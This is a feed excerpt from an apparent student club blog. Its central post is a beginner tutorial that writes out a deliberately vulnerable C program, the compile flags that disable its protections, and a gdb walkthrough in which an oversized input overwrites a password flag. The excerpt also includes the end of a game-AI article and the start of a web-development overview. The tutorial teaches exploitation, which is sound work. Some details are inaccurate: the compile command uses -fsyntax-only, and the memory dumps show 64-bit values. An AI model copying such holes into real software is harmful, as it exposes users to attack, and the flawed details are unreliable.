<li><p><strong>Guiding the Search</strong>: The policy head of the CNN provides a prior probability distribution over moves, which guides the MCTS to focus on more promising moves rather than exploring uniformly.</p>
</li>
<li><p><strong>Evaluating Positions</strong>: The value head estimates the potential outcome from any given position, allowing MCTS to evaluate the desirability of leaf nodes without needing to simulate all the way to the end of the game.</p>
</li>
<li><p><strong>Updating the Neural Network</strong>: After each self-play game, the outcomes are used to update the CNN's weights, refining both the policy and value predictions.</p>
</li>
</ul>
<p>This integration allows AlphaZero to efficiently explore the game tree, leveraging learned patterns and strategic evaluations to make high-quality decisions rapidly.</p>
<p><img src="https://www.mdpi.com/electronics/electronics-10-01533/article_deploy/html/images/electronics-10-01533-g001.png" alt="Efficiently Mastering the Game of NoGo with Deep Reinforcement Learning  Supported by Domain Knowledge" /></p>
<h2 id="heading-openai-five-beating-dota2-champions"><strong>OpenAI Five - Beating Dota2 Champions</strong></h2>
<p>AlphaZero’s triumph isn't the only example of RL shaking up the gaming world. OpenAI Five is another significant milestone in using RL for complex, real-time strategy games. Unlike chess or Go, Dota 2 is an incredibly intricate multiplayer online battle arena (MOBA) game. It involves managing resources, controlling multiple characters, and reacting to dynamic, unpredictable events.</p>
<p>OpenAI’s bot trained by playing against itself in an environment simulating the game's mechanics, much like AlphaZero. However, Dota 2 poses additional challenges, such as partial observability (not all information is visible to players), real-time decision-making, and long-term strategy. OpenAI used <strong>Proximal Policy Optimisation (PPO)</strong>, a reinforcement learning algorithm, to make its bots adapt to these challenges.</p>
<p>Through massive-scale training and using team coordination, OpenAI's bot managed to defeat some of the top Dota 2 professional teams. This marked a significant leap forward in using AI for real-time strategy games.</p>
<h2 id="heading-current-state-of-the-art-algorithms-and-architectures"><strong>Current State-of-the-Art Algorithms and Architectures</strong></h2>
<p>The success of AI systems like AlphaZero and OpenAI Five has opened the door to further advancements in AI for games. As AI technology evolves, new algorithms and architectures are pushing the boundaries of what is possible in complex, real-time environments like video games.</p>
<h3 id="heading-evolutionary-strategies"><strong>Evolutionary Strategies</strong></h3>
<p>One of the emerging techniques in game AI is evolutionary strategies (ES). Unlike traditional reinforcement learning, which focuses on improving policies via gradient-based methods, ES mimics natural evolution by randomly mutating policies and selecting the best-performing variations. This method has been shown to work particularly well in multi-agent and continuous-action games. ES is also highly parallelizable, making it suitable for distributed computing environments.</p>
<h3 id="heading-imitation-learning"><strong>Imitation Learning</strong></h3>
<p>Imitation learning is gaining attention in game AI development, particularly for its ability to mimic expert human play. By training an AI agent on large datasets of human gameplay, the model can learn to replicate strategies used by top players. This technique is often combined with reinforcement learning to fine-tune the agent, improving both efficiency and effectiveness in complex game environments.</p>
<h3 id="heading-hierarchical-reinforcement-learning-hrl"><strong>Hierarchical Reinforcement Learning (HRL)</strong></h3>
<p>HRL addresses the challenge of solving long-horizon tasks by decomposing a problem into a hierarchy of sub-tasks. In the context of games, this allows an AI agent to focus on high-level strategies while delegating lower-level decision-making to smaller sub-policies. HRL has demonstrated improved performance in both turn-based and real-time games, especially when long-term planning and decision-making are crucial.</p>
<h3 id="heading-neural-architecture-search-nas"><strong>Neural Architecture Search (NAS)</strong></h3>
<p>Neural Architecture Search (NAS) is an automated method for finding the optimal architecture for a neural network in a given task. In game AI, NAS helps discover model structures that maximize performance for specific games, balancing speed and accuracy. It has proven effective in environments where handcrafted models struggle to generalize.</p>
<h3 id="heading-common-practices-in-modern-game-ai-development"><strong>Common Practices in Modern Game AI Development</strong></h3>
<p>Several best practices are now standard in AI for games, ensuring that models not only perform well but also adapt efficiently to different game mechanics and environments:</p>
<ul>
<li><p><strong>Multi-Objective Optimization</strong>: Balancing various objectives such as exploration, combat, resource management, and team coordination in games where multiple goals must be achieved simultaneously.</p>
</li>
<li><p><strong>Domain Randomization</strong>: AI agents are trained in environments where the game parameters are slightly varied. This improves the agent's generalization, allowing it to perform better under different game conditions.</p>
</li>
<li><p><strong>Cloud-Based Training</strong>: As games become more complex, so do the computational demands of training AI agents. Developers now frequently use cloud-based platforms to leverage massive parallel computation, allowing agents to play millions of games in a relatively short time.</p>
</li>
<li><p><strong>Ethics in AI</strong>: As AI agents become more sophisticated, developers are also focusing on ensuring fair play. This includes preventing AI from exploiting game mechanics in unintended ways and promoting behaviour that enhances the gaming experience for human players.</p>
</li>
</ul>
<h2 id="heading-resources"><strong>Resources</strong></h2>
<p>The best resource to get started in deep-rl is the hugging face course - <a target="_blank" href="https://huggingface.co/learn/deep-rl-course/en/unit0/introduction"><strong>https://huggingface.co/learn/deep-rl-course/en/unit0/introduction</strong></a></p>
<p>If you want to train your own agents on some classic retro games like SF3, DOA++ check out Diambra - <a target="_blank" href="https://docs.diambra.ai/"><strong>https://docs.diambra.ai/</strong></a></p>
<p>Read the actual paper by D. Silver - <a target="_blank" href="https://arxiv.org/abs/1712.01815"><strong>https://arxiv.org/abs/1712.01815</strong></a></p>
<p>Watch the amazing documentary by DeepMind on AlphaZero’s predecessor AlphaGo - <a target="_blank" href="https://www.youtube.com/watch?v=WXuK6gekU1Y">https://www.youtube.com/watch?v=WXuK6gekU1Y</a></p>
]]></content:encoded></item><item><title><![CDATA[Understanding Buffer Overflows: A Beginner's Guide - Part 2]]></title><description><![CDATA[This article is a 2nd part of https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-1 make sure you have read that for understanding it
In this article, we will dive into the binary and see what’s going on; for that, we...]]></description><link>https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-2</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-2</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[hacking]]></category><category><![CDATA[pwn]]></category><category><![CDATA[Buffer Overfow]]></category><category><![CDATA[gdb]]></category><category><![CDATA[C]]></category><dc:creator><![CDATA[Wizard079]]></dc:creator><pubDate>Tue, 01 Oct 2024 17:12:23 GMT</pubDate><content:encoded><![CDATA[<p>This article is a 2nd part of <a target="_blank" href="https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-1#heading-registers">https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-1</a> make sure you have read that for understanding it</p>
<p>In this article, we will dive into the binary and see what’s going on; for that, we need a debugger. What is a debugger? Well, a debugger is a tool that allows developers to test, inspect, and troubleshoot their code by executing it step-by-step, setting breakpoints, and examining variables and program flow. We are going to use gdb as our debugger in this article.</p>
<h1 id="heading-installation">Installation</h1>
<h3 id="heading-for-linux">For Linux</h3>
<p>run (for debian and derivatives) <code>sudo apt install gdb</code></p>
<h3 id="heading-for-macos">For macOS</h3>
<p>run <code>brew install gdb</code></p>
<h3 id="heading-for-windows">For windows</h3>
<p>Don’t install it on windows just use linux. Just kidding for windows use this steps</p>
<ol>
<li><p>Download the MinGW installer from <a target="_blank" href="https://sourceforge.net/projects/mingw/">https://sourceforge.net/projects/mingw/</a></p>
</li>
<li><p>Run the installer and select "GDB" during the installation process.</p>
</li>
<li><p>After installation, add the MinGW <code>bin</code> directory to your system's PATH.</p>
</li>
</ol>
<p>Use terminal based on your OS and run this command to check your gdb installation</p>
<p><code>gdb --version</code></p>
<h2 id="heading-buffer-overflow">Buffer Overflow</h2>
<p>To use <code>gdb</code>, we first need a binary to run. Let's try the following example:</p>
<pre><code class="lang-c"><span class="hljs-comment">// gcc -m32 -fno-stack-protector -z execstack -fsyntax-only -o vuln vuln.c</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt; </span></span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> MYPASS[] = <span class="hljs-string">"REDATED"</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">win</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"This code is super secure, isn't it? :)"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">vuln</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">char</span> buffer[<span class="hljs-number">32</span>];
    <span class="hljs-keyword">int</span> password = <span class="hljs-number">0</span>;
    fgets(buffer, <span class="hljs-number">0x32</span>, <span class="hljs-built_in">stdin</span>);
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">strcmp</span>(buffer, MYPASS) == <span class="hljs-number">0</span>) {
        password = <span class="hljs-number">1</span>;
    }

    <span class="hljs-keyword">if</span> (password) {
        win();
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Incorrect password!"</span>);
    }
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Hello to our new bank!"</span>);

    vuln();

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Save this file as <code>vuln.c</code>, then compile it using the following command in the same directory as <code>vuln.c</code>:</p>
<p><code>gcc -m32 -fno-stack-protector -z execstack -fsyntax-only -o vuln vuln.c</code></p>
<p>Now you have a binary named <code>vuln</code>. The password is unknown, but we can try to reach the <code>win()</code> function through buffer overflow manipulation. Let’s experiment and see what happens when we run the binary.</p>
<pre><code class="lang-bash">&gt; ./vuln
Hello to our new bank!
tellmethepassword
Incorrect password!
</code></pre>
<p>In this code, the developer made a mistake in the <code>fgets</code> call by reading 50 bytes (<code>0x32</code>) instead of limiting it to 32 bytes. can we abuse this ??</p>
<p>Let’s try to adding input bigger that 32 and see what’s happening</p>
<pre><code class="lang-bash">&gt; ./vuln
Hello to our new bank!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This code is super secure, isn<span class="hljs-string">'t it? :)
Segmentation fault (core dumped)</span>
</code></pre>
<p>😯 we just got in the win functions but there is Segmentation fault ?? Let’s dive into gdb and see what’s going on.</p>
<h3 id="heading-gdb">gdb</h3>
<p>First, run this binary using GDB by executing:</p>
<pre><code class="lang-bash">gdb ./vuln
</code></pre>
<p>GDB comes with many powerful features. We can set breakpoints using GDB, and we can even see the assembly code of the binary. Let’s try to see the code of the <code>main</code> function in GDB. Run the following command:</p>
<pre><code class="lang-abap">gdb➤ disass main
</code></pre>
<p>You will see the output for the <code>main</code> function, where you can observe the <code>esp</code>, <code>ebp</code>, <code>ebx</code>, and <code>ecx</code> registers explained in the previous article. Here, we can see the call instructions for <code>puts</code> and <code>vuln</code>:</p>
<pre><code class="lang-perl">   <span class="hljs-number">0x0804924f</span> &lt;+<span class="hljs-number">37</span>&gt;:    call   <span class="hljs-number">0x8049060</span> &lt;puts@plt&gt;
   <span class="hljs-number">0x08049254</span> &lt;+<span class="hljs-number">42</span>&gt;:    add    esp,<span class="hljs-number">0x10</span>
   <span class="hljs-number">0x08049257</span> &lt;+<span class="hljs-number">45</span>&gt;:    call   <span class="hljs-number">0x80491b1</span> &lt;vuln&gt;
</code></pre>
<p>Now let’s take a look at the <code>vuln</code> function inside GDB by running:</p>
<pre><code class="lang-abap">gdb➤ disass vuln
</code></pre>
<p>You may get output like this,</p>
<pre><code class="lang-perl">   <span class="hljs-number">0x080491b1</span> &lt;+<span class="hljs-number">0</span>&gt;:    <span class="hljs-keyword">push</span>   ebp
   <span class="hljs-number">0x080491b2</span> &lt;+<span class="hljs-number">1</span>&gt;:    mov    ebp,esp
   <span class="hljs-number">0x080491b4</span> &lt;+<span class="hljs-number">3</span>&gt;:    <span class="hljs-keyword">push</span>   ebx
   <span class="hljs-number">0x080491b5</span> &lt;+<span class="hljs-number">4</span>&gt;:    <span class="hljs-function"><span class="hljs-keyword">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x34</span>
   0<span class="hljs-title">x080491b8</span> &lt;+7&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x80490c0</span> &lt;__<span class="hljs-title">x86</span>.<span class="hljs-title">get_pc_thunk</span>.<span class="hljs-title">bx</span>&gt;
   0<span class="hljs-title">x080491bd</span> &lt;+12&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">ebx</span>,0<span class="hljs-title">x2e37</span>
   0<span class="hljs-title">x080491c3</span> &lt;+18&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">xc</span>],0<span class="hljs-title">x0</span>
   0<span class="hljs-title">x080491ca</span> &lt;+25&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">eax</span>,<span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebx</span>-0<span class="hljs-title">x8</span>]
   0<span class="hljs-title">x080491d0</span> &lt;+31&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">eax</span>,<span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">eax</span>]
   0<span class="hljs-title">x080491d2</span> &lt;+33&gt;:    <span class="hljs-title">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x4</span>
   0<span class="hljs-title">x080491d5</span> &lt;+36&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491d6</span> &lt;+37&gt;:    <span class="hljs-title">push</span>   0<span class="hljs-title">x32</span>
   0<span class="hljs-title">x080491d8</span> &lt;+39&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebp</span>-0<span class="hljs-title">x2c</span>]
   0<span class="hljs-title">x080491db</span> &lt;+42&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491dc</span> &lt;+43&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049050</span> &lt;<span class="hljs-title">fgets</span>@<span class="hljs-title">plt</span>&gt;
   0<span class="hljs-title">x080491e1</span> &lt;+48&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x10</span>
   0<span class="hljs-title">x080491e4</span> &lt;+51&gt;:    <span class="hljs-title">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x8</span>
   0<span class="hljs-title">x080491e7</span> &lt;+54&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebx</span>-0<span class="hljs-title">x1fd4</span>]
   0<span class="hljs-title">x080491ed</span> &lt;+60&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491ee</span> &lt;+61&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebp</span>-0<span class="hljs-title">x2c</span>]
   0<span class="hljs-title">x080491f1</span> &lt;+64&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491f2</span> &lt;+65&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049030</span> &lt;<span class="hljs-title">strcmp</span>@<span class="hljs-title">plt</span>&gt;
   0<span class="hljs-title">x080491f7</span> &lt;+70&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x10</span>
   0<span class="hljs-title">x080491fa</span> &lt;+73&gt;:    <span class="hljs-title">test</span>   <span class="hljs-title">eax</span>,<span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491fc</span> &lt;+75&gt;:    <span class="hljs-title">jne</span>    0<span class="hljs-title">x8049205</span> &lt;<span class="hljs-title">vuln</span>+84&gt;
   0<span class="hljs-title">x080491fe</span> &lt;+77&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">xc</span>],0<span class="hljs-title">x1</span>
   0<span class="hljs-title">x08049205</span> &lt;+84&gt;:    <span class="hljs-title">cmp</span>    <span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">xc</span>],0<span class="hljs-title">x0</span>
   0<span class="hljs-title">x08049209</span> &lt;+88&gt;:    <span class="hljs-title">je</span>     0<span class="hljs-title">x8049212</span> &lt;<span class="hljs-title">vuln</span>+97&gt;
   0<span class="hljs-title">x0804920b</span> &lt;+90&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049186</span> &lt;<span class="hljs-title">win</span>&gt;
   0<span class="hljs-title">x08049210</span> &lt;+95&gt;:    <span class="hljs-title">jmp</span>    0<span class="hljs-title">x8049224</span> &lt;<span class="hljs-title">vuln</span>+115&gt;
   0<span class="hljs-title">x08049212</span> &lt;+97&gt;:    <span class="hljs-title">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">xc</span>
   0<span class="hljs-title">x08049215</span> &lt;+100&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebx</span>-0<span class="hljs-title">x1f88</span>]
   0<span class="hljs-title">x0804921b</span> &lt;+106&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x0804921c</span> &lt;+107&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049060</span> &lt;<span class="hljs-title">puts</span>@<span class="hljs-title">plt</span>&gt;
   0<span class="hljs-title">x08049221</span> &lt;+112&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x10</span>
   0<span class="hljs-title">x08049224</span> &lt;+115&gt;:    <span class="hljs-title">nop</span>
   0<span class="hljs-title">x08049225</span> &lt;+116&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">ebx</span>,<span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">x4</span>]
   0<span class="hljs-title">x08049228</span> &lt;+119&gt;:    <span class="hljs-title">leave</span>
   0<span class="hljs-title">x08049229</span> &lt;+120&gt;:    <span class="hljs-title">ret</span></span>
</code></pre>
<p>Here we can see the calls to <code>fgets</code>, <code>strcmp</code>, <code>win</code>, and <code>puts</code>. By analyzing the source code, we know that before jumping to the <code>win</code> function, it will check the password in the <code>if</code> condition. Similarly, in this assembly code, we can see the <code>cmp</code> instruction, which compares <code>DWORD PTR [ebp-0xc]</code> with <code>0x0</code>. Let’s set a breakpoint there and see what’s going on. In GDB, we can set a breakpoint using <code>b</code> or <code>break</code> followed by the address where we want to stop.</p>
<pre><code class="lang-abap">gdb➤ b *<span class="hljs-number">0</span>x08049205
</code></pre>
<p>Alternatively, we can use a relative address, like so:</p>
<pre><code class="lang-abap">gdb➤ b *(vuln+<span class="hljs-number">84</span>)
</code></pre>
<p>Both methods work the same way; you can use either. Now let’s run this binary using the command:</p>
<pre><code class="lang-abap">gdb➤ <span class="hljs-keyword">run</span>
</code></pre>
<p>The program will wait for input. Let’s try <code>IAmMrRobot</code> as the password. After entering the password, the program will hit the breakpoint. We can now check where we are by using the command:</p>
<pre><code class="lang-perl">gdb➤ disass $eip
</code></pre>
<p>In 32-bit architecture, <code>$eip</code> always points to the instruction that is about to be executed, and the <code>$</code> signifies that we are referencing the value of <code>eip</code>.</p>
<p>The output of <code>disass $eip</code> will look like this:</p>
<pre><code class="lang-perl">   <span class="hljs-number">0x080491b1</span> &lt;+<span class="hljs-number">0</span>&gt;:    <span class="hljs-keyword">push</span>   ebp
   <span class="hljs-number">0x080491b2</span> &lt;+<span class="hljs-number">1</span>&gt;:    mov    ebp,esp
   <span class="hljs-number">0x080491b4</span> &lt;+<span class="hljs-number">3</span>&gt;:    <span class="hljs-keyword">push</span>   ebx
   <span class="hljs-number">0x080491b5</span> &lt;+<span class="hljs-number">4</span>&gt;:    <span class="hljs-function"><span class="hljs-keyword">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x34</span>
   0<span class="hljs-title">x080491b8</span> &lt;+7&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x80490c0</span> &lt;__<span class="hljs-title">x86</span>.<span class="hljs-title">get_pc_thunk</span>.<span class="hljs-title">bx</span>&gt;
   0<span class="hljs-title">x080491bd</span> &lt;+12&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">ebx</span>,0<span class="hljs-title">x2e37</span>
   0<span class="hljs-title">x080491c3</span> &lt;+18&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">xc</span>],0<span class="hljs-title">x0</span>
   0<span class="hljs-title">x080491ca</span> &lt;+25&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">eax</span>,<span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebx</span>-0<span class="hljs-title">x8</span>]
   0<span class="hljs-title">x080491d0</span> &lt;+31&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">eax</span>,<span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">eax</span>]
   0<span class="hljs-title">x080491d2</span> &lt;+33&gt;:    <span class="hljs-title">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x4</span>
   0<span class="hljs-title">x080491d5</span> &lt;+36&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491d6</span> &lt;+37&gt;:    <span class="hljs-title">push</span>   0<span class="hljs-title">x32</span>
   0<span class="hljs-title">x080491d8</span> &lt;+39&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebp</span>-0<span class="hljs-title">x2c</span>]
   0<span class="hljs-title">x080491db</span> &lt;+42&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491dc</span> &lt;+43&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049050</span> &lt;<span class="hljs-title">fgets</span>@<span class="hljs-title">plt</span>&gt;
   0<span class="hljs-title">x080491e1</span> &lt;+48&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x10</span>
   0<span class="hljs-title">x080491e4</span> &lt;+51&gt;:    <span class="hljs-title">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x8</span>
   0<span class="hljs-title">x080491e7</span> &lt;+54&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebx</span>-0<span class="hljs-title">x1fd4</span>]
   0<span class="hljs-title">x080491ed</span> &lt;+60&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491ee</span> &lt;+61&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebp</span>-0<span class="hljs-title">x2c</span>]
   0<span class="hljs-title">x080491f1</span> &lt;+64&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491f2</span> &lt;+65&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049030</span> &lt;<span class="hljs-title">strcmp</span>@<span class="hljs-title">plt</span>&gt;
   0<span class="hljs-title">x080491f7</span> &lt;+70&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x10</span>
   0<span class="hljs-title">x080491fa</span> &lt;+73&gt;:    <span class="hljs-title">test</span>   <span class="hljs-title">eax</span>,<span class="hljs-title">eax</span>
   0<span class="hljs-title">x080491fc</span> &lt;+75&gt;:    <span class="hljs-title">jne</span>    0<span class="hljs-title">x8049205</span> &lt;<span class="hljs-title">vuln</span>+84&gt;
   0<span class="hljs-title">x080491fe</span> &lt;+77&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">xc</span>],0<span class="hljs-title">x1</span>
=&gt; 0<span class="hljs-title">x08049205</span> &lt;+84&gt;:    <span class="hljs-title">cmp</span>    <span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">xc</span>],0<span class="hljs-title">x0</span>
   0<span class="hljs-title">x08049209</span> &lt;+88&gt;:    <span class="hljs-title">je</span>     0<span class="hljs-title">x8049212</span> &lt;<span class="hljs-title">vuln</span>+97&gt;
   0<span class="hljs-title">x0804920b</span> &lt;+90&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049186</span> &lt;<span class="hljs-title">win</span>&gt;
   0<span class="hljs-title">x08049210</span> &lt;+95&gt;:    <span class="hljs-title">jmp</span>    0<span class="hljs-title">x8049224</span> &lt;<span class="hljs-title">vuln</span>+115&gt;
   0<span class="hljs-title">x08049212</span> &lt;+97&gt;:    <span class="hljs-title">sub</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">xc</span>
   0<span class="hljs-title">x08049215</span> &lt;+100&gt;:    <span class="hljs-title">lea</span>    <span class="hljs-title">eax</span>,[<span class="hljs-title">ebx</span>-0<span class="hljs-title">x1f88</span>]
   0<span class="hljs-title">x0804921b</span> &lt;+106&gt;:    <span class="hljs-title">push</span>   <span class="hljs-title">eax</span>
   0<span class="hljs-title">x0804921c</span> &lt;+107&gt;:    <span class="hljs-title">call</span>   0<span class="hljs-title">x8049060</span> &lt;<span class="hljs-title">puts</span>@<span class="hljs-title">plt</span>&gt;
   0<span class="hljs-title">x08049221</span> &lt;+112&gt;:    <span class="hljs-title">add</span>    <span class="hljs-title">esp</span>,0<span class="hljs-title">x10</span>
   0<span class="hljs-title">x08049224</span> &lt;+115&gt;:    <span class="hljs-title">nop</span>
   0<span class="hljs-title">x08049225</span> &lt;+116&gt;:    <span class="hljs-title">mov</span>    <span class="hljs-title">ebx</span>,<span class="hljs-title">DWORD</span> <span class="hljs-title">PTR</span> [<span class="hljs-title">ebp</span>-0<span class="hljs-title">x4</span>]
   0<span class="hljs-title">x08049228</span> &lt;+119&gt;:    <span class="hljs-title">leave</span>
   0<span class="hljs-title">x08049229</span> &lt;+120&gt;:    <span class="hljs-title">ret</span></span>
</code></pre>
<p>It points to the location where we want to stop. Now, let’s see what the value of <code>ebp-0xc</code> is using this command:</p>
<pre><code class="lang-perl">gdb➤ <span class="hljs-keyword">x</span>/<span class="hljs-keyword">x</span> $ebp-<span class="hljs-number">0xc</span>
<span class="hljs-number">0xffffd6fc</span>:    <span class="hljs-number">0x0804a08000000000</span>
</code></pre>
<p>Here, the first <code>x</code> is the command in GDB used to examine memory at a given address. The <code>/x</code> specifies the format, telling GDB to output in hexadecimal format. The value of <code>DWORD PTR [ebp-0xc]</code> will only look at the lower 32 bits, resulting in <code>0x00000000</code>, which is the value of the <code>password</code> variable</p>
<p>Now, let’s rerun the binary with the <code>r</code> command, but this time with a larger input of <code>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code>, and see the value of <code>ebp-0xc</code>:</p>
<pre><code class="lang-perl">gdb➤  <span class="hljs-keyword">x</span>/<span class="hljs-keyword">x</span> $ebp-<span class="hljs-number">0xc</span>
<span class="hljs-number">0xffffd6fc</span>:    <span class="hljs-number">0x4141414141414141</span>
</code></pre>
<p>🤯 We have overwritten the value of <code>password</code> with <code>0x4141414141414141</code>, which is the hexadecimal value of <code>AAAAAAAA</code>. This is due to the buffer overflow in the <code>buffer</code>. The <code>buffer</code> variable is set to be 32 bytes, but we tried to write 50 bytes using <code>fgets</code>, so we overwrite the extra bytes on the stack where other variables are stored. Hence, this leads to a stack buffer overflow.</p>
<p>So you remember the segmentation fault , you can try to find out what causes the segmentation fault. if you get that you can also understand the payload given in previous article.</p>
]]></content:encoded></item><item><title><![CDATA[An Overview of Web Development and App Development]]></title><description><![CDATA[Hey, Everyone!
Ready to dive into something extraordinary?
Check out this mind-blowing website: https://bruno-simon.com/.
Isn’t it amazing? Ever wondered how such interactive and visually stunning sites come to life?
If you're itching to create your ...]]></description><link>https://blogs.copsiitbhu.co.in/an-overview-of-web-development-and-app-development</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/an-overview-of-web-development-and-app-development</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[development]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[app development]]></category><category><![CDATA[Git]]></category><category><![CDATA[GitHub]]></category><dc:creator><![CDATA[Pratham_seth]]></dc:creator><pubDate>Mon, 30 Sep 2024 15:59:13 GMT</pubDate><content:encoded><![CDATA[<p>Hey, Everyone!</p>
<p>Ready to dive into something extraordinary?</p>
<p>Check out this mind-blowing website: <a target="_blank" href="https://bruno-simon.com/">https://bruno-simon.com/</a>.</p>
<p>Isn’t it amazing? Ever wondered how such interactive and visually stunning sites come to life?</p>
<p>If you're itching to create your own digital magic, you're in the right place</p>
<p>The tech world is rapidly evolving, with web development and app development becoming key areas of innovation and growth. This blog will provide a detailed summary of both web and app development, their differences, and how to get started.</p>
<h3 id="heading-web-development-building-the-internets-backbone"><strong>Web Development: Building the Internet’s Backbone</strong></h3>
<p><strong>Web development</strong> involves the creation of websites and web applications that run on browsers, enabling users to access content…….blah blah blah blah,</p>
<p>Website’s not only about showing data and making dashboards it also has many interesting applications like building beautiful illustrations or drawings.</p>
